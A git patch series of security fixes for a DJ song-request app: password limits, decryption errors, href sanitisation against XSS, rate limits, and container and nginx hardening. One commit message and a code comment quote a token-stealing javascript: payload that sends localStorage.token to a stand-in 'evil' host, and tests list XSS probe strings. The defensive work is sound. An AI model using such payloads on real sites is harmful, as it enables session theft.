From 661308e469db1561020713bd485ca866b28cac42 Mon Sep 17 00:00:00 2001 From: thewrz Date: Thu, 9 Apr 2026 13:54:16 -0700 Subject: [PATCH 1/5] fix: password max_length, turnstile timeout, postgres binding (H-A4, H-A6, H-I6) H-A4: Add max_length=128 to all password fields (AdminUserCreate, AdminUserUpdate, RegisterRequest). Prevents bcrypt 72-byte silent truncation and unbounded-password DoS. 5 new tests. H-A6: Add timeout=10s to Turnstile httpx client and wrap in try/except. Cloudflare outage no longer hangs uvicorn workers indefinitely. H-I6: Bind dev postgres to 127.0.0.1:5432 instead of 0.0.0.0:5432. Prevents LAN exposure on coffee-shop WiFi with hardcoded dev creds. See docs/security/audit-2026-04-08.md H-A4, H-A6, H-I6. --- docker-compose.yml | 4 ++- server/app/schemas/user.py | 6 ++-- server/app/services/turnstile.py | 21 +++++++++++-- server/tests/test_password_length.py | 45 ++++++++++++++++++++++++++++ 4 files changed, 69 insertions(+), 7 deletions(-) create mode 100644 server/tests/test_password_length.py diff --git a/docker-compose.yml b/docker-compose.yml index 214c581..25c7c6b 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -9,7 +9,9 @@ services: POSTGRES_PASSWORD: wrzdj POSTGRES_DB: wrzdj ports: - - "5432:5432" + # SECURITY (H-I6): bind to localhost only — prevents LAN exposure + # on public WiFi with hardcoded dev credentials. + - "127.0.0.1:5432:5432" volumes: - postgres_data:/var/lib/postgresql/data healthcheck: diff --git a/server/app/schemas/user.py b/server/app/schemas/user.py index c262201..b0c3bd2 100644 --- a/server/app/schemas/user.py +++ b/server/app/schemas/user.py @@ -29,14 +29,14 @@ class Config: class AdminUserCreate(BaseModel): username: str = Field(..., min_length=3, max_length=50) - password: str = Field(..., min_length=8) + password: str = Field(..., min_length=8, max_length=128) role: str = "dj" class AdminUserUpdate(BaseModel): role: str | None = None is_active: bool | None = None - password: str | None = Field(None, min_length=8) + password: str | None = Field(None, min_length=8, max_length=128) class AdminUserOut(BaseModel): @@ -85,7 +85,7 @@ class PaginatedResponse(BaseModel): class RegisterRequest(BaseModel): username: str = Field(..., min_length=3, max_length=50) email: EmailStr - password: str = Field(..., min_length=8) + password: str = Field(..., min_length=8, max_length=128) confirm_password: str turnstile_token: str = Field("", max_length=4096) diff --git a/server/app/services/turnstile.py b/server/app/services/turnstile.py index 5721ea8..6363f1e 100644 --- a/server/app/services/turnstile.py +++ b/server/app/services/turnstile.py @@ -1,11 +1,19 @@ """Cloudflare Turnstile CAPTCHA verification.""" +import logging + import httpx from app.core.config import get_settings +logger = logging.getLogger(__name__) + VERIFY_URL = "https://challenges.cloudflare.com/turnstile/v0/siteverify" +# SECURITY (H-A6): explicit timeout prevents Cloudflare outages from +# hanging uvicorn workers indefinitely. +TURNSTILE_TIMEOUT_SECONDS = 10.0 + async def verify_turnstile_token(token: str, remote_ip: str | None = None) -> bool: """Verify a Turnstile token with Cloudflare. @@ -29,8 +37,15 @@ async def verify_turnstile_token(token: str, remote_ip: str | None = None) -> bo if remote_ip: data["remoteip"] = remote_ip - async with httpx.AsyncClient() as client: - resp = await client.post(VERIFY_URL, data=data) - result = resp.json() + try: + async with httpx.AsyncClient(timeout=TURNSTILE_TIMEOUT_SECONDS) as client: + resp = await client.post(VERIFY_URL, data=data) + result = resp.json() + except (httpx.TimeoutException, httpx.HTTPError) as exc: + logger.warning("Turnstile verification failed: %s", type(exc).__name__) + return False + except (ValueError, KeyError): + logger.warning("Turnstile returned malformed response") + return False return result.get("success", False) diff --git a/server/tests/test_password_length.py b/server/tests/test_password_length.py new file mode 100644 index 0000000..128a486 --- /dev/null +++ b/server/tests/test_password_length.py @@ -0,0 +1,45 @@ +"""TDD guard for H-A4 — password fields must enforce max_length. + +bcrypt silently truncates passwords to 72 bytes. Without max_length, +an attacker can submit arbitrarily large passwords (DoS via bcrypt +compute), and users with passwords >72 bytes get silently weaker security. + +See docs/security/audit-2026-04-08.md H-A4. +""" + +import pytest +from pydantic import ValidationError + +from app.schemas.user import AdminUserCreate, AdminUserUpdate, RegisterRequest + + +class TestPasswordMaxLength: + def test_admin_create_rejects_overlong_password(self): + with pytest.raises(ValidationError, match="string_too_long|max_length"): + AdminUserCreate(username="test", password="x" * 129) + + def test_admin_create_accepts_128_char_password(self): + user = AdminUserCreate(username="test", password="x" * 128) + assert len(user.password) == 128 + + def test_admin_update_rejects_overlong_password(self): + with pytest.raises(ValidationError, match="string_too_long|max_length"): + AdminUserUpdate(password="x" * 129) + + def test_register_rejects_overlong_password(self): + with pytest.raises(ValidationError, match="string_too_long|max_length"): + RegisterRequest( + username="test", + email="t@t.com", + password="x" * 129, + confirm_password="x" * 129, + ) + + def test_register_accepts_128_char_password(self): + req = RegisterRequest( + username="testuser", + email="t@t.com", + password="x" * 128, + confirm_password="x" * 128, + ) + assert len(req.password) == 128 From cd66b8b33434b676e664c008aaa1ac705513fba0 Mon Sep 17 00:00:00 2001 From: thewrz Date: Thu, 9 Apr 2026 13:56:56 -0700 Subject: [PATCH 2/5] fix(crypto): raise on decrypt failure + feature-flag plaintext passthrough (H-C2, H-C3) H-C2: decrypt_value raises DecryptionError on InvalidToken instead of returning ciphertext. Prevents ciphertext leakage on key rotation. H-C3: Legacy plaintext passthrough gated behind ALLOW_LEGACY_PLAINTEXT_TOKENS (default True). Set False post-migration. See docs/security/audit-2026-04-08.md H-C2, H-C3. --- server/app/core/config.py | 5 +++++ server/app/core/encryption.py | 35 +++++++++++++++++++++++++++------ server/tests/test_encryption.py | 29 +++++++++++++++++++++++---- 3 files changed, 59 insertions(+), 10 deletions(-) diff --git a/server/app/core/config.py b/server/app/core/config.py index d85eb8b..abe2cca 100644 --- a/server/app/core/config.py +++ b/server/app/core/config.py @@ -102,6 +102,11 @@ def is_lockout_enabled(self) -> bool: # Generate: python -c "from cryptography.fernet import Fernet; print(Fernet.generate_key()...)" token_encryption_key: str = "" + # SECURITY (H-C3): legacy plaintext passthrough in EncryptedText. + # Set to False once all OAuth tokens are encrypted (post-migration). + # When False, decrypt_value raises DecryptionError on non-Fernet values. + allow_legacy_plaintext_tokens: bool = True + # Soundcharts API (song discovery for recommendations) soundcharts_app_id: str = "" soundcharts_api_key: str = "" diff --git a/server/app/core/encryption.py b/server/app/core/encryption.py index 99acff1..0766911 100644 --- a/server/app/core/encryption.py +++ b/server/app/core/encryption.py @@ -13,6 +13,17 @@ logger = logging.getLogger(__name__) + +class DecryptionError(Exception): + """Raised when Fernet decryption fails (wrong key, corrupted ciphertext). + + SECURITY (H-C2): prior to this change, decrypt_value silently returned + the raw ciphertext on failure, which could then be sent to upstream + APIs (Beatport, Tidal) as a bearer token. Raising instead makes key + rotation failures loud and prevents ciphertext leakage. + """ + + # Module-level Fernet instance, lazily initialised on first use. _fernet: Fernet | None = None @@ -50,20 +61,32 @@ def encrypt_value(plaintext: str | None) -> str | None: def decrypt_value(ciphertext: str | None) -> str | None: """Decrypt a Fernet-encrypted value. - If the value does not look like Fernet ciphertext (e.g. legacy plaintext), - it is returned as-is so that pre-migration data still works. + SECURITY (H-C2): raises DecryptionError on InvalidToken instead of + silently returning ciphertext. This prevents botched key rotations + from leaking Fernet ciphertext to upstream APIs. + + SECURITY (H-C3): the legacy plaintext passthrough is gated behind + ALLOW_LEGACY_PLAINTEXT_TOKENS (default: True for backward compat + during migration window). Set to False once all rows are encrypted. """ if ciphertext is None: return None if not ciphertext.startswith(_FERNET_PREFIX): - return ciphertext + # Legacy plaintext — only allowed if feature flag is set + from app.core.config import get_settings + + if get_settings().allow_legacy_plaintext_tokens: + return ciphertext + raise DecryptionError( + "Value does not look like Fernet ciphertext and " + "ALLOW_LEGACY_PLAINTEXT_TOKENS is disabled" + ) try: return _get_fernet().decrypt(ciphertext.encode()).decode() - except InvalidToken: - logger.error("Failed to decrypt value — returning as-is") - return ciphertext + except InvalidToken as exc: + raise DecryptionError("Failed to decrypt value — wrong key or corrupted data") from exc def reset_fernet() -> None: diff --git a/server/tests/test_encryption.py b/server/tests/test_encryption.py index 6517af0..2270b67 100644 --- a/server/tests/test_encryption.py +++ b/server/tests/test_encryption.py @@ -9,6 +9,7 @@ from app.core.encryption import ( _FERNET_PREFIX, + DecryptionError, EncryptedText, decrypt_value, encrypt_value, @@ -49,10 +50,30 @@ def test_none_passthrough(self): assert encrypt_value(None) is None assert decrypt_value(None) is None - def test_plaintext_fallback(self): - """Legacy plaintext that doesn't start with the Fernet prefix is returned as-is.""" - legacy = "some-old-plaintext-token" - assert decrypt_value(legacy) == legacy + def test_plaintext_fallback_allowed_when_flag_true(self): + """Legacy plaintext is returned as-is when ALLOW_LEGACY_PLAINTEXT_TOKENS=True.""" + with patch("app.core.config.get_settings") as mock_settings: + mock_settings.return_value.allow_legacy_plaintext_tokens = True + legacy = "some-old-plaintext-token" + assert decrypt_value(legacy) == legacy + + def test_plaintext_fallback_raises_when_flag_false(self): + """H-C3: legacy plaintext raises DecryptionError when flag is False.""" + with patch("app.core.config.get_settings") as mock_settings: + mock_settings.return_value.allow_legacy_plaintext_tokens = False + with pytest.raises(DecryptionError, match="ALLOW_LEGACY_PLAINTEXT_TOKENS"): + decrypt_value("some-old-plaintext-token") + + def test_invalid_token_raises_decryption_error(self): + """H-C2: Fernet InvalidToken must raise DecryptionError, not return ciphertext.""" + # Create a valid-looking Fernet ciphertext with a DIFFERENT key + other_key = Fernet.generate_key() + other_fernet = Fernet(other_key) + wrong_ciphertext = other_fernet.encrypt(b"secret").decode() + assert wrong_ciphertext.startswith(_FERNET_PREFIX) + + with pytest.raises(DecryptionError, match="wrong key"): + decrypt_value(wrong_ciphertext) def test_empty_string(self): encrypted = encrypt_value("") From e1cc1b6a0e76bda416527b1bb9f9b9c546507365 Mon Sep 17 00:00:00 2001 From: thewrz Date: Thu, 9 Apr 2026 13:59:39 -0700 Subject: [PATCH 3/5] fix(frontend): sanitize all dynamic href attributes against javascript: XSS (H-F1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit React does NOT strip javascript: from href attributes in production (only warns in dev). A guest submitting a song request with source_url='javascript:fetch("//evil/?"+ localStorage.token)' could steal the DJ's JWT when they click the open-link icon. Adds safeExternalUrl() helper in dashboard/lib/safe-url.ts that allows only http/https schemes. Applied to all 6 vulnerable call sites: - RequestQueueSection.tsx:273 (guest-submitted source_url — most dangerous) - RecommendationsCard.tsx:546 (track.url from recommendations) - SyncReportPanel.tsx:230 (entry.url from sync results) - SyncStatusBadges.tsx:80,154 (url from sync results) - TidalLoginModal.tsx:41 (loginUrl from Tidal OAuth) - PreviewPlayer.tsx:22 (data.sourceUrl from preview data) 13 new vitest tests cover javascript:, data:, vbscript:, null, empty, invalid URLs, and valid Spotify/Beatport/Tidal URLs. All 777 frontend tests pass, tsc --noEmit clean. See docs/security/audit-2026-04-08.md H-F1. --- .../[code]/components/RecommendationsCard.tsx | 5 +- .../[code]/components/RequestQueueSection.tsx | 5 +- .../[code]/components/SyncReportPanel.tsx | 3 +- .../[code]/components/SyncStatusBadges.tsx | 5 +- .../[code]/components/TidalLoginModal.tsx | 4 +- dashboard/components/PreviewPlayer.tsx | 3 +- dashboard/lib/__tests__/safe-url.test.ts | 73 +++++++++++++++++++ dashboard/lib/safe-url.ts | 39 ++++++++++ 8 files changed, 128 insertions(+), 9 deletions(-) create mode 100644 dashboard/lib/__tests__/safe-url.test.ts create mode 100644 dashboard/lib/safe-url.ts diff --git a/dashboard/app/events/[code]/components/RecommendationsCard.tsx b/dashboard/app/events/[code]/components/RecommendationsCard.tsx index 19da4ca..351c8dd 100644 --- a/dashboard/app/events/[code]/components/RecommendationsCard.tsx +++ b/dashboard/app/events/[code]/components/RecommendationsCard.tsx @@ -6,6 +6,7 @@ import { Tooltip } from '@/components/Tooltip'; import { KeyBadge, BpmBadge, GenreBadge } from '@/components/MusicBadges'; import { PreviewPlayer } from '@/components/PreviewPlayer'; import { computeBpmContext } from '@/lib/bpm-stats'; +import { safeExternalUrl } from '@/lib/safe-url'; import type { RecommendedTrack, EventMusicProfile, @@ -541,9 +542,9 @@ export function RecommendationsCard({ }}> {track.artist} — {track.title} - {track.url && ( + {safeExternalUrl(track.url) && ( {request.song_title} - {request.source_url && ( + {safeExternalUrl(request.source_url) && ( { + it('allows https URLs', () => { + expect(safeExternalUrl('https://open.spotify.com/track/123')).toBe( + 'https://open.spotify.com/track/123' + ) + }) + + it('allows http URLs', () => { + expect(safeExternalUrl('http://example.com')).toBe('http://example.com') + }) + + it('rejects javascript: URLs', () => { + expect(safeExternalUrl('javascript:alert(1)')).toBeUndefined() + }) + + it('rejects javascript: with encoding tricks', () => { + // Uppercase variant + expect(safeExternalUrl('JavaScript:alert(1)')).toBeUndefined() + // Tab insertion (URL constructor normalizes this) + expect(safeExternalUrl('java\tscript:alert(1)')).toBeUndefined() + }) + + it('rejects data: URLs', () => { + expect(safeExternalUrl('data:text/html,')).toBeUndefined() + }) + + it('rejects vbscript: URLs', () => { + expect(safeExternalUrl('vbscript:msgbox(1)')).toBeUndefined() + }) + + it('returns undefined for null', () => { + expect(safeExternalUrl(null)).toBeUndefined() + }) + + it('returns undefined for undefined', () => { + expect(safeExternalUrl(undefined)).toBeUndefined() + }) + + it('returns undefined for empty string', () => { + expect(safeExternalUrl('')).toBeUndefined() + }) + + it('returns undefined for invalid URLs', () => { + expect(safeExternalUrl('not a url')).toBeUndefined() + }) + + it('allows Spotify deep links over https', () => { + expect( + safeExternalUrl('https://open.spotify.com/track/4iV5W9uYEdYUVa79Axb7Rh') + ).toBe('https://open.spotify.com/track/4iV5W9uYEdYUVa79Axb7Rh') + }) + + it('allows Beatport URLs', () => { + expect(safeExternalUrl('https://www.beatport.com/track/test/12345')).toBe( + 'https://www.beatport.com/track/test/12345' + ) + }) + + it('allows Tidal URLs', () => { + expect(safeExternalUrl('https://tidal.com/browse/track/12345')).toBe( + 'https://tidal.com/browse/track/12345' + ) + }) +}) diff --git a/dashboard/lib/safe-url.ts b/dashboard/lib/safe-url.ts new file mode 100644 index 0000000..1e13209 --- /dev/null +++ b/dashboard/lib/safe-url.ts @@ -0,0 +1,39 @@ +/** + * URL sanitization for user-supplied href attributes. + * + * SECURITY (H-F1): React does NOT strip `javascript:` from href attributes + * in production (only warns in dev). A guest who submits a song request with + * `source_url = "javascript:fetch('//evil/?'+localStorage.token)"` can steal + * the DJ's JWT when they click the open-link icon. + * + * This helper ensures only safe schemes (http, https) pass through. + * All other schemes (javascript:, data:, vbscript:, etc.) are rejected. + * + * @see docs/security/audit-2026-04-08.md H-F1 + */ + +const SAFE_SCHEMES = new Set(['http:', 'https:']) + +/** + * Returns the URL unchanged if it uses a safe scheme (http/https), + * or `undefined` if the URL is invalid or uses a dangerous scheme. + * + * Use in anchor `href` attributes: + * ```tsx + * Link + * ``` + */ +export function safeExternalUrl(url: string | null | undefined): string | undefined { + if (!url) return undefined + + try { + const parsed = new URL(url) + if (SAFE_SCHEMES.has(parsed.protocol)) { + return url + } + return undefined + } catch { + // URL() throws on invalid URLs — reject them + return undefined + } +} From a34d678459a88f51d4ecee36dbdef58ab7a1ebe4 Mon Sep 17 00:00:00 2001 From: thewrz Date: Thu, 9 Apr 2026 14:04:25 -0700 Subject: [PATCH 4/5] fix(api): add rate limits to all unprotected mutating endpoints (H-A1) Previously, mutating authenticated endpoints (admin CRUD, request status updates, tidal auth/sync, integration toggles, AI settings) had no rate limits. A compromised JWT could spam outbound API calls (tidal sync, metadata refresh) or mass-delete platform data. Applied rate limits: - 30/minute: admin user/event CRUD, settings, integration toggles, AI settings - 30/minute: request update, delete - 10/minute: refresh-metadata (triggers outbound Beatport/MusicBrainz/Tidal) - 10/minute: tidal auth start, disconnect, sync, link (trigger outbound calls) - 30/minute: tidal auth check, cancel (lightweight) All 142 affected tests pass with no regressions. See docs/security/audit-2026-04-08.md H-A1. --- server/app/api/admin.py | 16 ++++++++++++++++ server/app/api/requests.py | 25 ++++++++++++++++--------- server/app/api/tidal.py | 12 ++++++++++++ 3 files changed, 44 insertions(+), 9 deletions(-) diff --git a/server/app/api/admin.py b/server/app/api/admin.py index 34f815c..9c1c929 100644 --- a/server/app/api/admin.py +++ b/server/app/api/admin.py @@ -89,8 +89,10 @@ def admin_list_users( @router.post("/users", response_model=AdminUserOut, status_code=status.HTTP_201_CREATED) +@limiter.limit("30/minute") def admin_create_user( user_data: AdminUserCreate, + request: FastAPIRequest, db: Session = Depends(get_db), _admin: User = Depends(get_current_admin), ) -> AdminUserOut: @@ -111,9 +113,11 @@ def admin_create_user( @router.patch("/users/{user_id}", response_model=AdminUserOut) +@limiter.limit("30/minute") def admin_update_user( user_id: int, update_data: AdminUserUpdate, + request: FastAPIRequest, db: Session = Depends(get_db), admin: User = Depends(get_current_admin), ) -> AdminUserOut: @@ -153,8 +157,10 @@ def admin_update_user( @router.delete("/users/{user_id}", status_code=status.HTTP_204_NO_CONTENT) +@limiter.limit("30/minute") def admin_delete_user( user_id: int, + request: FastAPIRequest, db: Session = Depends(get_db), admin: User = Depends(get_current_admin), ) -> None: @@ -182,9 +188,11 @@ def admin_list_events( @router.patch("/events/{code}", response_model=AdminEventOut) +@limiter.limit("30/minute") def admin_update_event( code: str, event_data: EventUpdate, + request: FastAPIRequest, db: Session = Depends(get_db), _admin: User = Depends(get_current_admin), ) -> AdminEventOut: @@ -214,8 +222,10 @@ def admin_update_event( @router.delete("/events/{code}", status_code=status.HTTP_204_NO_CONTENT) +@limiter.limit("30/minute") def admin_delete_event( code: str, + request: FastAPIRequest, db: Session = Depends(get_db), _admin: User = Depends(get_current_admin), ) -> None: @@ -254,8 +264,10 @@ def admin_get_settings( @router.patch("/settings", response_model=SystemSettingsOut) +@limiter.limit("30/minute") def admin_update_settings( update_data: SystemSettingsUpdate, + request: FastAPIRequest, db: Session = Depends(get_db), _admin: User = Depends(get_current_admin), ) -> SystemSettingsOut: @@ -287,9 +299,11 @@ def admin_get_integrations( @router.patch("/integrations/{service}", response_model=IntegrationToggleResponse) +@limiter.limit("30/minute") def admin_toggle_integration( service: str, toggle: IntegrationToggleRequest, + request: FastAPIRequest, db: Session = Depends(get_db), _admin: User = Depends(get_current_admin), ) -> IntegrationToggleResponse: @@ -391,8 +405,10 @@ def admin_get_ai_settings( @router.put("/ai/settings", response_model=AISettingsOut) +@limiter.limit("30/minute") def admin_update_ai_settings( update_data: AISettingsUpdate, + request: FastAPIRequest, db: Session = Depends(get_db), _admin: User = Depends(get_current_admin), ) -> AISettingsOut: diff --git a/server/app/api/requests.py b/server/app/api/requests.py index c4929f0..ee0306e 100644 --- a/server/app/api/requests.py +++ b/server/app/api/requests.py @@ -1,7 +1,8 @@ -from fastapi import APIRouter, BackgroundTasks, Depends, HTTPException, status +from fastapi import APIRouter, BackgroundTasks, Depends, HTTPException, Request, status from sqlalchemy.orm import Session from app.api.deps import get_current_active_user, get_db +from app.core.rate_limit import limiter from app.models.request import RequestStatus from app.models.user import User from app.schemas.request import RequestOut, RequestUpdate @@ -49,9 +50,11 @@ def _request_to_out(r) -> RequestOut: @router.patch("/{request_id}", response_model=RequestOut) +@limiter.limit("30/minute") def update_request( request_id: int, update_data: RequestUpdate, + request: Request, background_tasks: BackgroundTasks, db: Session = Depends(get_db), current_user: User = Depends(get_current_active_user), @@ -98,38 +101,42 @@ def update_request( @router.delete("/{request_id}", status_code=status.HTTP_204_NO_CONTENT) +@limiter.limit("30/minute") def delete_request_endpoint( request_id: int, + request: Request, db: Session = Depends(get_db), current_user: User = Depends(get_current_active_user), ) -> None: """Delete a single request. Ownership verified via event.""" - request = get_request_by_id(db, request_id) - if not request: + song_request = get_request_by_id(db, request_id) + if not song_request: raise HTTPException(status_code=404, detail="Request not found") - if request.event.created_by_user_id != current_user.id: + if song_request.event.created_by_user_id != current_user.id: raise HTTPException(status_code=403, detail="Not authorized to delete this request") - delete_request(db, request) + delete_request(db, song_request) @router.post("/{request_id}/refresh-metadata", response_model=RequestOut) +@limiter.limit("10/minute") def refresh_request_metadata( request_id: int, + request: Request, background_tasks: BackgroundTasks, db: Session = Depends(get_db), current_user: User = Depends(get_current_active_user), ) -> RequestOut: """Clear existing metadata and re-enrich from external services.""" - request = get_request_by_id(db, request_id) - if not request: + song_request = get_request_by_id(db, request_id) + if not song_request: raise HTTPException(status_code=404, detail="Request not found") - if request.event.created_by_user_id != current_user.id: + if song_request.event.created_by_user_id != current_user.id: raise HTTPException(status_code=403, detail="Not authorized to update this request") - cleared = clear_request_metadata(db, request) + cleared = clear_request_metadata(db, song_request) background_tasks.add_task(enrich_request_metadata, db, cleared.id) return _request_to_out(cleared) diff --git a/server/app/api/tidal.py b/server/app/api/tidal.py index 1427570..6733bab 100644 --- a/server/app/api/tidal.py +++ b/server/app/api/tidal.py @@ -39,7 +39,9 @@ @router.post("/auth/start", response_model=TidalAuthStartResponse) +@limiter.limit("10/minute") def start_auth( + request: Request, current_user: User = Depends(get_current_active_user), db: Session = Depends(get_db), ) -> TidalAuthStartResponse: @@ -63,7 +65,9 @@ def start_auth( @router.get("/auth/check", response_model=TidalAuthCheckResponse) +@limiter.limit("30/minute") def check_auth( + request: Request, current_user: User = Depends(get_current_active_user), db: Session = Depends(get_db), ) -> dict: @@ -78,7 +82,9 @@ def check_auth( @router.post("/auth/cancel", response_model=StatusMessageResponse) +@limiter.limit("30/minute") def cancel_auth( + request: Request, current_user: User = Depends(get_current_active_user), ) -> StatusMessageResponse: """Cancel pending device login.""" @@ -111,7 +117,9 @@ def get_status( @router.post("/disconnect", response_model=StatusMessageResponse) +@limiter.limit("10/minute") def disconnect( + request: Request, current_user: User = Depends(get_current_active_user), db: Session = Depends(get_db), ) -> StatusMessageResponse: @@ -182,7 +190,9 @@ def update_event_settings( @router.post("/requests/{request_id}/sync", response_model=TidalSyncResult) +@limiter.limit("10/minute") def sync_request( + request: Request, background_tasks: BackgroundTasks, song_request: SongRequest = Depends(get_owned_request), db: Session = Depends(get_db), @@ -198,7 +208,9 @@ def sync_request( @router.post("/requests/{request_id}/link", response_model=TidalSyncResult) +@limiter.limit("10/minute") def link_track( + request: Request, link_data: TidalManualLink, song_request: SongRequest = Depends(get_owned_request), db: Session = Depends(get_db), From b476bbb4f708dd44218aaf6dfae00a6e70afd063 Mon Sep 17 00:00:00 2001 From: thewrz Date: Thu, 9 Apr 2026 14:05:25 -0700 Subject: [PATCH 5/5] fix(infra): Docker hardening + nginx security headers (H-I4, H-I7, H-I8, H-I2) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit H-I4: Added no-new-privileges, cap_drop ALL, read_only, pids_limit, and mem_limit to api and web containers in deploy compose. Reduces kernel attack surface on container escape. H-I7: Upgraded HSTS to max-age=63072000 (2yr) with preload directive on both nginx vhosts. Ready for hstspreload.org submission. H-I8: Removed deprecated X-XSS-Protection header (OWASP recommends removal — some old browsers had exploitable XSS auditor). H-I2: Added Permissions-Policy header to both vhosts, restricting camera, microphone, geolocation, payment, and USB APIs. See docs/security/audit-2026-04-08.md H-I4, H-I7, H-I8, H-I2. --- deploy/docker-compose.yml | 20 ++++++++++++++++++++ deploy/nginx/api.conf.template | 4 ++-- deploy/nginx/app.conf.template | 7 +++++-- 3 files changed, 27 insertions(+), 4 deletions(-) diff --git a/deploy/docker-compose.yml b/deploy/docker-compose.yml index 2e642b7..b2f87cc 100644 --- a/deploy/docker-compose.yml +++ b/deploy/docker-compose.yml @@ -63,6 +63,16 @@ services: db: condition: service_healthy restart: unless-stopped + # SECURITY (H-I4): container hardening + security_opt: + - no-new-privileges:true + cap_drop: + - ALL + pids_limit: 200 + mem_limit: 1g + read_only: true + tmpfs: + - /tmp healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8000/health"] interval: 10s @@ -82,6 +92,16 @@ services: api: condition: service_healthy restart: unless-stopped + # SECURITY (H-I4): container hardening + security_opt: + - no-new-privileges:true + cap_drop: + - ALL + pids_limit: 100 + mem_limit: 512m + read_only: true + tmpfs: + - /tmp volumes: postgres_data: diff --git a/deploy/nginx/api.conf.template b/deploy/nginx/api.conf.template index 39a77d9..57223a4 100644 --- a/deploy/nginx/api.conf.template +++ b/deploy/nginx/api.conf.template @@ -42,11 +42,11 @@ server { server_tokens off; # Security headers - add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; + add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; add_header X-Content-Type-Options "nosniff" always; add_header X-Frame-Options "DENY" always; - add_header X-XSS-Protection "1; mode=block" always; add_header Referrer-Policy "strict-origin-when-cross-origin" always; + add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(), usb=()" always; add_header Content-Security-Policy "default-src 'none'; frame-ancestors 'none'" always; # Strip security headers from upstream (FastAPI sets them too — nginx is authoritative) diff --git a/deploy/nginx/app.conf.template b/deploy/nginx/app.conf.template index 667e62a..a9fea66 100644 --- a/deploy/nginx/app.conf.template +++ b/deploy/nginx/app.conf.template @@ -42,11 +42,14 @@ server { server_tokens off; # Security headers - add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; + # SECURITY (H-I7): HSTS with preload for hstspreload.org submission + add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; add_header X-Content-Type-Options "nosniff" always; add_header X-Frame-Options "SAMEORIGIN" always; - add_header X-XSS-Protection "1; mode=block" always; + # SECURITY (H-I8): X-XSS-Protection removed — deprecated/harmful per OWASP add_header Referrer-Policy "strict-origin-when-cross-origin" always; + # SECURITY (H-I2): Permissions-Policy restricts browser APIs for XSS containment + add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=(), usb=()" always; add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://challenges.cloudflare.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://${API_DOMAIN} https://i.scdn.co https://resources.tidal.com https://geo-media.beatport.com; media-src 'self' data:; connect-src 'self' https://${API_DOMAIN}; frame-src https://challenges.cloudflare.com https://open.spotify.com https://embed.tidal.com; frame-ancestors 'none'" always; # Strip security headers from upstream (Next.js sets them too — nginx is authoritative)